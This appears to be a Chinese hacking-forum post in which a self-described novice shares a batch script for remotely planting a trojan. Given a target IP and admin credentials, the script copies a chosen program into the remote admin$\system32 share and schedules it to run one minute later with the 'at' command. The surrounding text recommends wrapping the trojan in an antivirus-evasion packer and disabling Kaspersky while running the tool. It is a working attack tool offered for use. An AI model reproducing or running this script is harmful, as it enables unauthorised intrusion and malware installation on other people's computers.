直接?当然不行要给你的木马(可用木马生成器做木马)加免杀外壳,我玩批处理还比较菜,在这里我就用BAT做个控制工具(这都是在前辈指点下做的,不知有没有前辈中国DOS联盟,我是你们乱叫的“福星小菜”)
@echo off
setlocal
cls
color 4
title !主人好 !
echo ======================================================
echo
echo
echo
echo !主人好 !
echo
echo
echo ======================================================
if not %OS%==Windows_NT echo 本程序只能在WindowsNT以上系统运行! & goto exit
rem ========================交互部分========================
echo 请输入主机IP地址...
set /p host=
if {%host%}=={} echo 请输入主机IP地址! & goto exit
echo 请输入用户名(必须为管理员组)...
set /p user=
if {%user%}=={} echo 请输入用户名! & goto exit
echo 请输入密码!...
set /p pass=
if {%pass%}=={} echo 请输入密码! & goto exit
echo 请输入需要远程运行的程序,该程序必须在本程序目录下!...
set /p pro=
if {%pro%}=={} echo 请输入需要远程运行的程序! &goto exit
rem ========================主程序=========================
echo 正在连接到%host% ...
net use \\%host% %pass% /user:"%user%"
if not %errorlevel%==0 goto :err
echo 连接已建立!
echo 正在复制文件...
copy "%pro%" \\%host%\admin$\system32\
if not %errorlevel%==0 echo 文件复制失败! & goto exit
if not exist \\%host%\admin$\system32\"%pro%" echo 文件不存在!也许已被杀毒软件查杀!请再试一次! & goto exit
echo 文件复制成功!
net time \\%host% /set /y >nul
IF not %errorlevel%==0 echo 查询时间失败! & goto exit
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
echo %host%当前时间为%hh%:%mm%
set /a mm=%mm%+1
if /i %mm% geq 60 set /a mm=0 & set /a hh=%hh%+1
if /i %hh% geq 24 set /a hh=0
set tm=%hh%:%mm%
echo 正在设置启动时间...
at \\%host% %tm% "%pro%"
IF not %errorlevel%==0 echo 设置失败! & goto exit
at \\%host% |find "%pro%" >nul
IF not %errorlevel%==0 echo 设置失败! & goto exit
echo 启动时间设置成功!
echo 指定的程序将在一分钟后执行!
echo good luck:)
endlocal
goto exit
rem ========================主程序结束=========================
:err
echo 连接建立失败!
goto exit
:exit
net use |find "%host%" >nul
if %errorlevel%==0 net use \\%host% /del /y >nul
pause
运行时关掉卡巴,不然会被卡巴杀了。
它要用户名、密码。
它成功率比较低,毕竟是个BAT吗~